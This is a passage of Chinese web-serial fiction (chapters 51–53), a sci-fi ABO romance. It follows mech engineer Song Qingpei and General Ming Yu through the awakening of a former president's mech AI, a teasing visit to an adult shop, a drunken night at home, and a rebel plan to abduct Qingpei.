她只觉得眼前一黑,紧接着,一个声音在她脑海中响起:“好久不见,主人。我是寂。” 这个声音仿佛穿越了无数时空,带着岁月的沧桑,与她展开了对话。 宋青佩的心猛地一颤,还未等她反应过来,眼前便浮现出一幅幅凌乱的画面。 浩瀚的星空中,一台银色机甲如流星般穿梭。 机甲的驾驶舱内,一名面容英气的女子正全神贯注地操控着机甲。 然而,下一秒,画面骤然转变。 无数敌机从四面八方围攻而来,女子奋力抵抗,却终究寡不敌众。 机甲被击中,驾驶舱内鲜血四溅,女子的身影渐渐模糊…… “不要!”宋青佩本能地喊出声。 心脏仿佛被一只无形的手紧紧攥住,疼得她几乎喘不过气来。那些画面如同潮水般涌入她的脑海,精神力迅速流逝,宋青佩的意识开始模糊。 就在她即将支撑不住的瞬间,慕容瑞雪的声音传来:“青佩!快醒醒!” 宋青佩猛地睁开眼睛,发现自己已经瘫坐在地上,额头上满是冷汗。 慕容瑞雪蹲在她身旁,满脸担忧:“你没事吧?刚才你的精神力波动非常剧烈,我差点就切断了连接。” 宋青佩喘着粗气,努力平复自己的情绪,缓缓说:“我……我看到了很多画面。一个女子在驾驶机甲战斗,最后被围攻……还有血……” 慕容瑞雪的眼神一变,轻声问:“你还记得那个女子的样子吗?” 宋青佩摇了摇头:“画面太模糊了,我只记得她很英气,眼神很坚定。” 慕容瑞雪沉默片刻,缓缓道:“青佩,你可能不知道,这台鱼跃号的主人,是前任总统——容岑。” “容岑?”宋青佩愣了一下,这个名字她并不陌生。 容岑是联邦历史上最年轻的女总统,也是曾经顶级家族容家的传奇人物,然而,关于她的死因,官方一直讳莫如深,甚至无法在公众平台讨论。 慕容瑞雪点点头,语气中带着几分感慨:“没错,容岑总统在任期间,曾驾驶鱼跃号参与过多次星际战斗。她的死因至今成谜,但根据对外的说法,她是因为驾驶机甲叛逃,最终被现任总统战笠带人伏杀的。” 宋青佩听得入神,脑海中那些凌乱的画面似乎渐渐清晰起来。 就在这时,她的通信器突然响了起来。 她低头一看,是明毓打来的。 接通通讯后,明毓的声音传来:“青佩,你怎么了?这么久没回消息?” 宋青佩强撑着精神说:“我在鱼跃号的维修基地,刚才在忙,没注意通讯器。” 似乎察觉到了她的异样,明毓语气中多了几分担忧:“你没事吧?声音听起来有些不对劲。” “没事,只是有点累。”宋青佩勉强笑了笑:“我看到你发的信息了,你们说好去哪里吃饭了,我下了班直接过去吧。” “我去接你吧。”明毓道。 宋青佩答了一声“好”,声音有些虚弱。 慕容瑞雪看着她,神色古怪,试探性地问:“你们和好了?” 宋青佩没有直接回答,只是微微点了点头,继续喘息着恢复力气。 慕容瑞雪见状,赶紧上前扶着她站起来,关切地说道:“你没事吧?要不要再休息一会儿?” 宋青佩摆了摆手:“没事,我缓一缓就好。” 等宋青佩稍微恢复了一些,两人一起回到了蓝海公司。 远远地,宋青佩就看到明毓站在公司门口,倚靠在车旁,她换下了军服,穿了一件简单的白色衬衫,袖子随意地挽到手肘,露出白皙纤细的手臂。 看到宋青佩和慕容瑞雪走近,明毓迈步迎了上去。 她的目光在宋青佩身上停留了片刻,确认她没事后,才转向慕容瑞雪,淡淡地打了个招呼:“慕容小姐。” 慕容瑞雪笑了笑:“明上将,好久不见。” 明毓没有多说什么,而是故意侧了侧头,露出脖子上那抹淡淡的红痕,然后伸手搂住了宋青佩的腰,像是在无声的宣示所有权。 宋青佩察觉到明毓的小心思,心里有些无奈,但并没有拒绝。 看着两人亲密的姿态,慕容瑞雪勉强维持着笑容,对宋青佩说道:“你们先忙,我先回去了。” 宋青佩点了点头,和慕容瑞雪道别后,跟着明毓上了车。 一上车,宋青佩便似笑非笑地看向明毓,“手可以松开了吧?” 明毓故作镇定地松开了手,她清了清嗓子,转移话题掩饰自己的尴尬:“今天怎么又去外面的维修基地了?” 宋青佩靠在座椅上,语气有些疲惫:“慕容瑞雪说有新发现,智脑有了波动,让我去试试能不能唤醒它。” “你注意安全,别太勉强。” 宋青佩心里一暖,轻轻“嗯”了一声,没有再说什么。 车内一时陷入了沉默,但气氛却并不尴尬,反而有种淡淡的温馨。 明毓开着车,偶尔瞥一眼宋青佩,见她闭目养神,便放慢了车速,尽量让车子行驶得平稳一些。 过了一会儿,宋青佩忽然开口问:“怎么想起来出去吃饭了?军校开学在即,最近不是很忙吗?” 明毓:“宋惜寒非要请客,说她奶奶快要过七十大寿了,想商量一下怎么安排。” 宋青佩点了点头,没有再问。宋惜寒和明毓的关系一向很好,两人从小一起长大,虽然性格迥异,但感情深厚。 车子很快驶到了餐厅门口。 明毓停好车,下车后主动挽起了宋青佩的手。 宋青佩无奈地看了她一眼,却没有挣脱,任由她挽着自己走进餐厅。 宋惜寒已经到了,坐在了靠窗的位置,招呼两人坐下,拿起菜单递给宋青佩:“看看想吃什么,今天我请客,别客气。” 宋青佩接过菜单,随意翻了几页,点了几道菜。 明毓则直接对服务员说道:“和她一样。” 宋惜寒见状,忍不住调侃:“你们俩还真是越来越有默契了。” 宋青佩笑了笑,没有接话。明毓则低头喝了口水,掩饰住嘴角微微扬起的弧度。 三人聊了一会儿,话题渐渐转到了宋惜寒奶奶的寿宴上。 宋惜寒兴致勃勃地说:“我奶奶这次七十大寿,我准备办得热闹一点,明毓你觉得怎么样?” 闻言,明毓微微沉吟道:“宋元帅一向不喜欢铺张浪费,我觉得寿诞不必太过奢华,重要的是家人团聚,让她老人家开心。” 宋惜寒点了点头:“我也是这么想的。不过,奶奶毕竟是为联邦立下过汗马功劳的人,寿诞还是要办得体面一些。到时候,请一些奶奶的老战友来,大家一起回忆当年的峥嵘岁月,或许能让奶奶心情好一些。” 两人又说了几句,宋惜寒是个八面玲珑的人,怕旁边的宋青佩觉得受到了冷落,很快就停下了这个话题。笑着说:“青佩,这还是我第一次请你吃饭,我们干一杯!” 宋青佩酒量还可以,于是举起了酒杯,三人轻轻碰杯。 吃到一半,宋惜寒的脸上已经有了几分醉意,她靠在椅背上,笑着说:“你们俩的感情,可真是越来越好了啊。” 明毓闻言,脸色微微一僵,下意识地看了宋青佩一眼。 宋青佩则依旧保持着淡淡的笑,没有接话。 宋惜寒见状,笑得更加促狭:“看来我表妹的那些‘好东西’确实帮了不少忙啊……” 宋青佩不明所以,难得好奇地接话:“什么东西?”, “就是那些明上将用来……” 话没说完,明毓耳根红了,狠狠地瞪了她一眼:“宋惜寒,你不说话没人把你当哑巴。” 宋惜寒立刻噤声,不敢再当着明毓的面胡说八道了。 两人仿佛猜哑谜一般,搞得宋青佩越发懵了。 直到明毓去卫生间的功夫,宋青佩忍不住好奇地问道:“宋小姐,你刚才……” “什么宋小姐,叫我惜寒。” 宋青佩从善如流,“惜寒,你们刚才到底在打什么哑谜?” 宋惜寒露出一个神秘莫测的笑,贱兮兮的:“不如你亲自问明毓。待会吃完饭回去后,你故意跟明毓说,我把表妹的事情都告诉你了。到时候就什么都知道了。” 什么表妹? 她说得莫名其妙,听得宋青佩云里雾里的,也就没太把这事放在心上,两人的关系倒是拉近了不少。 直到明毓回来,宋惜寒故意给了宋青佩一个心照不宣的眼神。 看得明毓眉心直跳,不由忐忑:“你们刚才说什么呢?” “没什么。”宋青佩有气无力地说。 本来她就耗费了大量的精神力,此刻酒精上头,她明显地感觉到了一些疲惫。 注意到宋青佩的脸色有些苍白,明毓忙关切地问:“青佩,你脸色不太好,是不是哪里不舒服?” 宋青佩摇了摇头,轻声道:“没事,维修机甲,耗费了不少精神力。” 明毓闻言,眉头皱得更紧:“什么机甲需要耗费这么多精神力?” 宋青佩叹了口气,语气中带着一丝疲惫:“是前总统容岑的机甲,那架机甲的设计非常复杂,维修起来相当费劲。” 听到“容岑”这个名字,明毓和宋惜寒的脸色瞬间变了。 宋惜寒手中的酒杯微微一晃,酒水洒在了桌面上,诧异道:“容岑的机甲?” 察觉到两人的异样,明毓有些疑惑地看向她们:“怎么了?这架机甲有什么问题吗?” 明毓神色犹疑地看向宋惜寒,似乎有些犹豫要不要开口。宋惜寒摆了摆手,语气中带着一丝无奈:“事情过去这么久了,也没什么不能说的了。” 她缓缓说:“其实容岑……是我姑母,当年她因为叛国罪被围剿而死。而我的姑姑宋桃夭,也在那之后*跟着自杀了。从那以后,我们宋家逐渐被军部边缘化,沦落到了现在这个地步。” 宋青佩脸色一变,没有料到这架机甲背后竟然牵扯到如此沉重的往事。 她有些尴尬地低下头,轻声道:“抱歉,我不知道这些……” 宋惜寒苦笑了一下,摇了摇头:“没什么,都过去那么久了。只是”她眼中闪过一丝疑虑,“这架机甲……怎么会出现在蓝海?” 明毓的神色也变得凝重起来,猜测道:“黑鸢花叛军组织本就是由容岑的旧部组成,既然慕容瑞雪和黑鸢花有关系,能找到容岑的机甲倒也不奇怪。”说到这里,她眸中闪过一抹担忧,“怪的是,她为什么偏偏让青佩去修机甲?” 听她这么说,宋青佩也不由跟着紧张起来,她也是越来越看不透,慕容瑞雪费尽心机的接近她,到底是图什么? 明毓拧眉沉思,“青佩,你知道这架机甲的来历吗?” 宋青佩摇了摇头:“具体来历慕容瑞雪没有详细说。我只是负责维修,其他的事情并不清楚,要不我想办法打听一下?” “不用特意打听,你的安全最重要。”明毓几乎脱口而出。 知道她担心自己,宋青佩声音不自觉的柔了下来:“放心,我会小心的。” 这本就是宋惜寒的伤心往事,两人默契的没再继续说下去,很快将话题转到了别处,三个人说说笑笑的又聊了一会。 晚餐结束后,三人走出餐厅,夜色已深。 “我就不打扰你们了,先走了。” 目送宋惜寒离开后,明毓和宋青佩上了车。 车内,两人一时无言,气氛有些微妙。 沉默中,喝了酒的宋青佩脑子有些发飘,她想起之前宋惜寒说的话,一时间好奇心起来,忍不住按照宋惜寒教给她的话试探道:“明毓,惜寒刚才跟我说了她表妹的事。” 明毓猛地坐直了身体,有些失态,“惜寒都跟你说了。” “嗯,” 宋青佩似是而非地点了点头, 明毓瞬间耳根发红,一路蔓延,整个脸都红得仿佛煮熟的虾。 “可以带我去看看吗?”宋青佩继续按照宋惜寒的话说。 明毓愕然地看着她,沉静的双眸瞬间惊得瞪圆,仿佛受惊的猫咪,露出少见的憨态。支支吾吾,“你……你真的要去?” “嗯,可以吗?” 清清淡淡的嗓音,仿佛在说一件稀松平常的事。 明毓难以置信地看着她,宋青佩的脸皮居然这么厚,怎么能,怎么能…… 她就是想看她笑话。 明毓顿时羞恼交加,可是面对宋青佩的要求,她根本就无法拒绝,哪怕明知道前面是坑,她依旧忍不住跳入其中。 她的声音微微发颤:“……好,我带你去。” 宋青佩不过是一时兴起,见她答应了便没再说话。 此刻她精神力虚耗实在太大,不由疲惫地闭上眼假寐,没有注意到明毓羞恼的偷偷剜了她一眼,红着脸在智驾系统上输入了新的目的地—— Omega专属情、趣用品店。 第52章 上将大人的社死现场 明毓羞耻难安,在心里将搞事的宋惜寒骂了无数遍,并暗自发誓,等回了军部一定要将她丢到偏远星系去待几个月。 她单手撑着下巴,偷偷瞥了一眼旁边的宋青佩,见她单手遮脸靠在椅背上,像是睡着了,又像是在闭目假寐。 踌躇许久,她张嘴试图说些什么:“青……” 可话到嘴边,又有一些不甘心,毕竟宋青佩难得主动提起这么暧昧的事……哪怕是被笑话,也总比对她冷冷淡淡地强。 最终,明毓索性自暴自弃放弃了所有挣扎,反正已经够丢脸了,也不差这一次了。 殊不知,她在这边心潮起伏,宋青佩是真的睡着了。 之前尝试入侵机甲的智脑实在耗费了她太大的精神力,加上又喝了酒,在酒精的麻醉下,她这一觉睡得极熟,等她醒过来,悬浮车已经停在了目的地。 “青佩,青佩……” 她是在模糊的呼喊声中醒过来的,茫然地睁开眼,沙哑的嗓音中带着些许酒气,“这是……”还没说完,她又反应过来,“这么快就到了?” 哪怕在心里做了许久的心理工作,明毓还是忍不住耳根一片绯红,闷声回:“到了。”说完,又极快地转移话题,“我看你今天挺累的,精神也不太好,要不还是先回去休息吧。” “嗯,是有些累。”宋青佩随口答着。 见她这么轻易地答应,明毓也说不清自己是松了口气,还是失望更多。 她只觉得自己即将成碎片的自尊暂时得到了拯救,赶紧去重新输入目的地,试图逃离这个让她狼狈的地方。 宋青佩有些疲惫地按了按眉心,抬眼往悬浮车外扫了一眼,不经意间正好看到了外面明晃晃,骚气十足的牌子—— 【Omega专属情、趣用品店】 她怔愣片刻,第一反应是澜星的成人业还挺发达,随便停个地方就能碰到这么大的店,直到她抬头想跟明毓说话,看到了她耳根后还没消退的绯红。 电光石火间,她脑子里闪过一个难以置信的想法。 明毓要带她来的地方不会就是这里吧? 一瞬间,明毓穿的没什么布料的性感内衣,猫耳朵,猫尾巴,还有那一箱子不堪入目的东西,仿佛走马观花般在她脑海中闪过,再加上今天宋惜寒神秘中带着调侃的话,一切都变得合理起来。 她真是……反应太迟钝了。 宋青佩被这个乌龙搞得哭笑不得,不由撑着额头边叹气边笑。 听到她的笑声,背对着她的明毓瞬间身体紧绷,迟迟没有转过头,反而声音飘忽:“好了,我们走吧。” “等等。”宋青佩忽然出声。 明毓的脊背更加僵硬了,宋青佩反而越发觉得有趣了。 平日的她不会做出这种恶劣的事,可或许是喝了酒的原因,此时的她不免带了些放纵,她故意放慢了语调,喑哑缠绵,“来都来了……我们下去看看吧。” 明毓猛地转身,诧异中带着惊慌,“不是说累了,要回去吗?” “忽然不累了。” 明毓: “走吧。” 宋青佩起身,因为起的太猛,不受控制的踉跄了一下,勉强扶住椅背站稳,看得出来确实有些被酒精麻痹了,醉的不轻。 明毓赶紧上前扶住她,“你没事吧?肯定是醉了。” 喝醉的人一般是不会承认自己喝醉的,宋青佩倒是没有急于否认。 她顺势将手搭在明毓肩上,半个身体倚在她身上,坦诚道:“身体是有些不受控制,但我的意识……很清醒。” 带着酒意的温热呼吸喷在明毓耳边,让她有些不适地晃了晃头,无奈地劝:“青佩,你真的喝多了,我们先回家休息好不好?” 答案当然是不。 宋青佩拉着明毓下了车,故意问:“我们要去哪里?” 简直就是明知故问。 明毓不由气恼地瞪了她一眼,“你不知道吗?” “不知道,惜寒又没跟我说。”宋青佩故意装傻。 “你……你不是说惜寒都告诉你了吗?” “惜寒让我这么说的,没想到上将大人这么……”思考了一下,宋青佩将好骗,换成了,“诚实。” “你们两个人真是……狼狈为奸。” 明毓气得脸色涨红,狠狠地推了宋青佩一把,差点将人推倒,终究是怕人真摔了,又赶紧扶了一把,反被宋青佩整个人带进了怀里。 两人拉扯间,正好被走到店门前的宋小柔看到,热情地打招呼。 “哎呀,这不是明小姐吗?怎么不进来?” 面对宋小柔的热情招呼,明毓只觉得耳根发烫,勉强挤出一丝笑容,“……我们只是路过,正准备走呢。” “来都来了。”宋小柔似乎没察觉到明毓的尴尬,目光转向半靠在明毓身上的宋青佩,眼中闪过一丝好奇和笑意:“这位就是你的Alpha吧?一起进来看看呗。” 宋青佩虽然有些醉意,但依旧保持着礼貌地微笑,微微点头示意。 明毓见状,连忙道:“青佩,这里不接待Alpha的,我们还是先回去吧。” 闻言,宋青佩脸上露出一丝遗憾的神色,“是吗?那真是可惜了……” 眼见财神要走,宋小柔眼珠一转,赶紧提议道:“今天店里正好没有Omega客人,要不我暂时闭店,你们进来看看?反正都是自己人,不用那么拘谨。” 明毓连忙拒绝:“不用了不用了,我们真的只是路过,不打扰了。” 然而,宋小柔的热情显然不是那么容易打发的。她笑眯眯地,语气中带着几分殷勤:“明小姐,你这位Alpha看起来也挺感兴趣的,进来看看嘛?你是我表姐的朋友,又是我的老顾客,我给你打折啊。” 一句‘老顾客’,让明毓脸上几乎要滴出血来。 更过分的,宋青佩还故意用那种拉长的语调,贴着她的耳朵说:“老顾客~既然店主这么热情,我们就进去看看吧。” 明毓气地瞪宋青佩。 宋青佩只是轻笑一声,拉着她进了店。 宋小柔见财神进了门,立刻关了店门,专门为两人服务。 店内灯光柔和,空气中弥漫着一股淡淡的香气,四周的货架上摆满了各式各样的情趣用品,琳琅满目,看得人眼花缭乱。 明毓不敢抬头看宋青佩,只觉得脸颊发烫,心跳加速。 她想要离宋青佩远点,又怕她摔了,内心羞恼交加,还要紧紧拽着宋青佩,低声催促:“青佩,你真的喝多了,我们还是走吧。” 宋小柔看出了明毓的拘谨,赶紧给财神提建议:“楼上有自选区,要不你们上去看看?” “不用……” 明毓的话,被宋青佩直接打断了,“好啊。” 宋小柔立刻殷勤地带着两人上了二楼,留下一句,“两位慢慢选,不急哦~”就把门带上了。 整个自选区里,只剩下两人。 明毓仅仅是四下扫了一眼,只觉得这是被当着宋青佩的面一遍遍的鞭尸,曾经干的蠢事,让她恨不得回去给自己几个耳光。 而宋青佩似乎对周围的一切充满了兴趣,目光在货架上扫过,侧头看向明毓,故意压低声音:“紧张什么?上将大人不是老顾客吗?经验应该很丰富?” 明毓顿时气恼不已,瞪了她一眼:“你……你够了!” 宋青佩轻笑一声,目光最后忽然停在了某个货架上。 她伸手拿起一对毛茸茸的猫耳朵,转身直接按在了明毓的头上,一脸戏谑:“和你之前买的一模一样……还有猫尾巴……” 明毓几乎要晕过去,连忙伸手捂住宋青佩的嘴巴:“别说了!我……我当时喝醉了,什么都不记得了!” 宋青佩顺势握住她的手,轻轻拉开,戳破了她的谎言,“我也醉了,但我的意识很清醒。上将大人,你是在借酒壮胆……” 明毓被她逼得无地自容,索性一咬牙,直接踮起脚尖吻了上去,堵住了宋青佩的嘴,不让她再说一句。 宋青佩一怔,很快反客为主,加深了这个吻。 她的手掌轻轻托住明毓的后脑,另一只手则搂住她的腰,将她紧紧贴向自己。 明毓被她吻得浑身发软,几乎站不稳,只能紧紧抱住她。 两人的呼吸交织在一起,周围的空气仿佛都变得灼热起来。 良久,宋青佩才缓缓松开明毓,低头看着她微微颤抖的睫毛,故意指着货架上令人面红耳赤的东西道:“上将大人……你要不给我介绍一下?” 明毓喘着气,眼神飘忽:“别……别闹了。回家,求你了……” 再这样下去,她真的不用活了。 终于,宋青佩良心发现的点了点头,依旧趴在她身上,在她耳边回应:“好啊,回家……” 明毓刚松了一口,就听到耳边传来宋青佩未完的话,“你穿给我看。” 她脚下一个踉跄,气得差点直接把宋青佩推地上去。 明毓忍无可忍,直接拉着宋青佩下了楼,绯红的脸甚至还没消退。 看到两人下来,宋小柔赶紧迎上去:“两位,自助区的东西还满意吗?需要我帮忙推荐吗?” 明毓整理了一下自己的衣服,低声道:“不用了,我们……我们该走了。” 宋小柔甚为遗憾,“没有喜欢的吗?” 毕竟挺熟的,明毓也不好意思折腾这么一番让人家白忙活,可她又不想这么憋屈,想到这一切都是因为宋惜寒搞出来的,她咬牙道:“刷我卡,给你表姐寄过去。记住,送到军部秘书室,不用保护隐私。” “啊?”宋小柔惊呆了。 明毓财大气粗地直接刷了五十万,看向宋小柔,“有问题吗?” 宋小柔赶紧摇头,“没有没有,一定办到。” 说着,她默默为表姐点了个蜡,这是怎么得罪这位上帝了,居然这么狠,表姐这次不得社死。 一旁的宋青佩见状,不由低笑出声,明毓瞪她,“笑什么?” “没什么,我们回家吧。” 两人走出店门时,宋小柔笑眯眯地挥手道别:“欢迎下次再来哦!” 明毓忙不迭地拉着宋青佩离开,暗自发誓:她这辈子再也不来了。 上了车,宋青佩精神很快就萎靡了下来,整个人窝在了车座上,单手撑着额头,看上去一点精神也没有,十分疲惫的样子。 真是薛定谔的累。 明毓忍不住暗自腹诽,刚才在店里折腾她的时候不是挺精神的嘛! 可是想归想,她重新设定好智驾目的地后,又很没骨气地坐在了宋青佩旁边,轻声问:“青佩,你怎么样了?” “累。”宋青佩一边说着,一边往她怀里靠,“让我睡会。” 说完,就靠在明毓怀里磕上了眼,睫毛颤抖了两下,很快就传来了绵长的呼吸,似乎已经陷入了深度睡眠。明毓看着宋青佩的脸,睡颜恬静,全无防备,眉眼间和颂颂十分神似,看起来女儿似乎还是更像她一点。 她忍不住伸手摸了摸宋青佩的脸颊,喃喃:如果我们可以一直这样多好。 然而这样的美好,只维持到山水庄园。 到家后,明毓不舍地叫醒了宋青佩,试图让她到床上好好休息。 而睡了一路的宋青佩,显然精神恢复得极好,然后酒意并没有消减多少。开始还顺从地任由明毓扶着她下了车,进了门,上了楼梯,直到往她卧室走去时,她突然停下了脚步。 “去你房间。” 她似笑非笑地看向明毓,眼中是毫不掩饰的侵略性。 明毓脑子嗡的一下,耳边闪过不久前宋青佩在她耳边说的话:回去……穿给我看。 不行,不能再任由她喝点酒胡闹下去了。 明毓努力板着脸道:“宋青佩,回你房间睡觉,我也要休息了,明天还要去军部……” 话还没说完,宋青佩已经搂住了她的腰,趴在她的肩上,凑近她的腺体舔了舔,哑着嗓子在她耳边耍无赖,“去你房间好不好?姐姐~” 好。 一声姐姐,明上将被喊迷糊。 她扶着宋青佩回了她房间,才反应过来接下来要面对什么。 宋青佩半靠在床边的沙发上,眯着眼,毫不遮掩地打量着明毓,带着几分不正经,明毓被她看得浑身不自在。 这和她主动勾引宋青佩还不同,明明什么都没做,她却觉得羞耻更胜以往,仿佛全身的衣服都被扒光了一样,让她忍不住开始微微发热。 明毓忍不住庆幸,好在她不在发热期,不然不知道多丢人呢。 一道不正经的声音打断了她的思绪,“脱吧,我要看……那身猫儿服。” 宋青佩嘴角含笑地看着她,仿佛在等着她下一步的行动。 明毓狠狠瞪她,“你做梦!我怎么可能穿那种东西。” “你穿过。” 从说话中可以看出,宋青佩吐字越来越短,酒意已经彻底上头。 “没有!”面对醉鬼,上将大人理直气壮地撒谎,“你喝醉了,赶紧睡觉。” “我……我看过的。”宋青佩一边嘟囔着,一边找出光脑,胡乱点着,调出了之前拍摄的一段视频,有些得意地笑:“看,我有证据。” 只见投影直接投射到了空白的大墙上,令人脸红心跳的声音先响起: “姐姐……你看看我嘛……” “尾巴不是那样系的。” “那姐姐教我……” 画面中,明毓**,戴着猫耳朵,正笨拙地试图将猫尾巴戴上去,看上去天真中透着几分欲…… 轰的一下! 明毓脸色顿时红得滴血,她近乎疯狂,冲过去就骑在了宋青佩身上,去抢她手上的智脑。一边抢一边恼羞成怒地吼:“宋青佩,你什么时候拍的!” 宋青佩被她晃得脑子疼,伸手固定她的腰,“别动,头疼!” “你个混蛋!” 明毓虽然还在气恼,但还是停了下来,趁着宋青佩不注意,直接抢过来光脑,将里面社死视频删得一干二净。 直到这时她才发现,自己正骑在宋青佩身上。 她慌忙想要起身,低头却发现明毓已经闭眼睡着了,一瞬间,她只觉得一腔怒火打在了棉花上,简直又好气又好笑。 明明刚才她还在犹豫,到底要不要忍着羞耻,趁机达成让宋青佩完全标记她的目的,可是现在,她动摇了。 她更想,这一切是爱意正浓时的水到渠成。 看了一眼床上的宋青佩,明毓认命地起身,去洗手间拿了毛巾简单的帮她擦拭了一下,又去洗了个澡,疲惫地躺到了床上。 临睡前,她忍不住想:宋青佩肯定是在报复她上次喝醉折腾她的事。 第二天,两人默契地都起晚了。 明毓迷迷糊糊地翻了个身,感觉到身边有人,她转过头,看到宋青佩正躺在自己旁边,呼吸平稳,似乎还在熟睡。 就在这时,房门被“咚咚咚”地敲响了。 “妈妈!妈咪!起床啦!太阳晒屁股啦!”颂颂清脆的声音从门外传来。 明毓赶紧推了推宋青佩,“快起来,颂颂来了!” 宋青佩皱了皱眉,缓缓睁开眼睛,眼神还有些迷茫。 她看了一眼明毓,又看了看周围的环境,似乎一时没反应过来自己为什么会在明毓的房间。 “我们……昨晚……”她揉了揉太阳穴,试图理清思绪。 明毓狠狠地瞪她一眼:“你喝醉了,非要赖在我房间,剩下的自己想……” 宋青佩愣了一下,昨晚的记忆零零碎碎地涌上心头——她喝多了,有些失控,非要拉着明毓去那家店,还老是调侃明毓说什么“老顾客”,让她穿‘猫儿服’…… 她忍不住扶额,心里既尴尬又震惊,她喝醉这么疯的吗? 以后可不能这么喝了,宋青佩想着,忍不住神色复杂地看了明毓一眼。 明毓被她看得心里怪怪的,大声:“还愣着干什么?赶紧起来,颂颂还在外面等着呢。” 两人匆忙整理了一下衣服,明毓去开门时,颂颂已经抱着她的小熊玩偶,眨巴着大眼睛站在门口,“妈妈,妈咪,你们怎么还在睡觉呀?” 明毓蹲下身,摸了摸颂颂的头,“对不起呀,颂颂,妈妈和妈咪今天睡过头了。你先下去等我们好不好?我们马上就来。” 颂颂乖巧地点点头,“那你们快点哦,不然早餐要凉了!” 关上门后,明毓转身看向宋青佩,发现她已经从床上起来了,正站在衣柜前整理衣服。两人目光相接,空气中弥漫着一丝尴尬的沉默。 两人默契的没说话,一起下了楼。 看到她们下来,颂颂立刻举起小勺子,“妈妈,妈咪,你们终于来了!我都等了好久!” 明毓赶紧走过去,“抱歉颂颂,妈咪起晚了。赶紧吃饭吧。” 宋青佩也坐了下来,端起牛奶喝了一口,试图掩饰自己的尴尬。 吃饭时,明毓还是不甘心吃瘪,故意含沙射影:“有些人,喝醉了就胡闹,真是让人头疼。” 宋青佩低着头,闷声不吭,只是默默地吃着早餐。 颂颂好奇地看了看她们,“妈咪,你在说什么呀?” 明毓笑了笑,摸了摸颂颂的头,“没什么,妈咪在说有些人喝酒不好,颂颂以后可不能学哦。” 颂颂似懂非懂地点点头,“嗯,颂颂不喝酒!” 宋青佩忍不住似笑非笑地看了明毓一眼,仿佛在说,好像你不喝酒似的。明毓被她看得不自在,不说话了,低下头吃饭。 吃完早餐后,宋青佩主动提出送颂颂去幼儿园。 明毓本想一起去,但宋青佩说,“你军校的事情忙,早点去军部处理吧。” 明毓点了点头,“那好吧,你路上小心。” 宋青佩送颂颂到幼儿园后,直接去了公司。 她刚走进实验室,就看到慕容瑞雪正站在一台机甲前,手里拿着数据板,眉头紧锁。 “瑞雪姐,早。”宋青佩走过去,打了个招呼。 慕容瑞雪抬起头脸上露出一丝笑容,“青佩,你来了。昨晚休息得怎么样?” 宋青佩愣了一下,随即笑了笑,“还好。” 慕容瑞雪语气中带着关切,“你最近精神力损耗太大,还是多休息一下吧。” “我没事,今天要继续去修鱼跃号吗?” 宋青佩主动问起,试图从她这里打探些消息。 可慕容瑞雪只是看了她一眼,担忧道:“不急,身体重要,鱼跃号的维修工作可以再缓两天。” 怕表现得太急切引起怀疑,宋青佩只能点点头,转身走向自己的工作台。 目送她离开,慕容瑞雪放下数据板,皱眉拨通了李蔓的电话。 “李蔓,是我。”慕容瑞雪压低声音说道,“宋青佩这边……情况不太乐观。她和明毓的关系似乎已经缓和了,想要说服她跟我们走,恐怕没那么容易。” 电话那头,李蔓的声音冷了下来,“时间不多了,乌澜的调查局已经盯上我们了。如果宋青佩不肯配合,我们就只能采取强制手段。” 慕容瑞雪皱了皱眉,“你的意思是……” “军校正式建立那天,趁着人多眼杂,我们直接带她走。”李蔓的语气中满是决绝。 慕容瑞雪沉默了片刻,最终点了点头,“好,我这就开始准备。” 挂断电话后,慕容瑞雪看了一眼正在工作的宋青佩,眼中闪过一丝愧疚,但很快被坚定取代,她这么做也是为了宋青佩好。 她总要知道自己真正的身份,和身上肩负的责任。 第53章 身世 军部大楼,会议室。 宽敞的会议室内,长桌两侧坐满了身着军装的军官们。 明毓坐在主位上,目光沉稳地扫视着在场的每一个人,距离澜星高级军校正式建立还有一周时间,今天的会议至关重要,她必须确保每一个细节都万无一失。 “各位,距离军校正式开幕还有七天,时间紧迫。” 明毓的声音清晰而有力,打破了会议室的沉默,“今天的会议,我们需要确认开幕式的流程、嘉宾名单、安保措施以及后续的教学安排。请大家逐一汇报各自负责的部分。” 首先站起来的是负责安保的军官,他详细汇报了开幕式的安保部署,包括外围警戒、内部巡逻以及应急预案。明毓仔细听着,时不时提出几个问题,确保每一个环节都没有疏漏。 会议进行到一半,她的目光不由落在了坐在对面的战南笙身上。 战南笙作为军校的副校长,今天的表现却出乎意料的平静,不但没有像往常那样咄咄逼人地和明毓唱反调,反而给出了不少建设性的意见。 “关于开幕式的流程,我建议增加一个环节。”战南笙站起身,语气自信道:“我们可以安排一场小型的机甲展示,既能展现军校的实力,也能吸引更多媒体的关注。” 明毓对战南笙的提议感到意外,但还是点了点头:“这个提议不错,机甲展示确实能成为开幕式的亮点。不过,时间上需要严格控制,不能影响后续的议程。” “具体的展示内容,我会在明天提交详细方案。”战南笙道。 明毓看了战南笙一眼,公事公办道:“好,那就交给你负责。如果有任何需要协调的地方,随时找我。” 见她答应得这么爽快,战南笙不由一愣,“你就这么放心交给我?” 明毓很给她面子地说:“战中将的能力,我还是相信的。” 都说伸手不打笑脸人,见明毓如此配合,战南笙也不好再跟她唱反调,会议有条不紊地进行。 明毓松了一口气,看来这次的合作比她预想的要顺利得多。 会议结束后,人员陆续离开。 明毓正准备离开会议室,战南笙却突然叫住了她,“明毓,我一定会证明,并不比你差。” “我拭目以待。”明毓不以为然。 “走着瞧。” 战南笙没有再说什么,率先离开了会议室。 看着她的背影,明毓不由想到了乌澜,忍不住感叹这位乌局长还真是不简单,也不知道用了什么方法,让战南笙如此配合。 想到乌澜深不可测的心机,她又忍不住担心宋青佩,暗自决定,看来要催促一下乌澜,慕容瑞雪那边要速战速决了,不能让青佩一直置身危险中。 明毓心事重重地离开会议室,走向自己的办公室。 刚走到办公室门口,警卫恭敬地敬礼:“明上将,有客人在等你。” 明毓微微皱眉,这个时候谁会来找她? 她点了点头,推开门,看到乌澜正坐在沙发上,神情悠闲。 “乌局长,真是稀客。”明毓语气平静,但眼神中带着一丝警惕。 乌澜起身,微微一笑:“明上将,打扰了。我有些事想跟你聊聊。” 明毓走到办公桌后坐下,目光直视乌澜:“什么事?” 乌澜没有绕弯子,直接问:“宋青佩那边有没有什么进展?查到慕容瑞雪的目的了吗?” 明毓心中一动,乌澜的消息倒是灵通。 她沉吟片刻,决定如实告知:“慕容瑞雪最近让青佩去修复一台机甲,那台机甲是前总统容岑的。” “容岑?” 听到这个名字,乌澜的脸色瞬间变了,她猛地站起身,声音有些急促:“你确定是……容岑的机甲?” 明毓点了点头,紧紧盯着乌澜的反应:“是,青佩亲口告诉我的。” 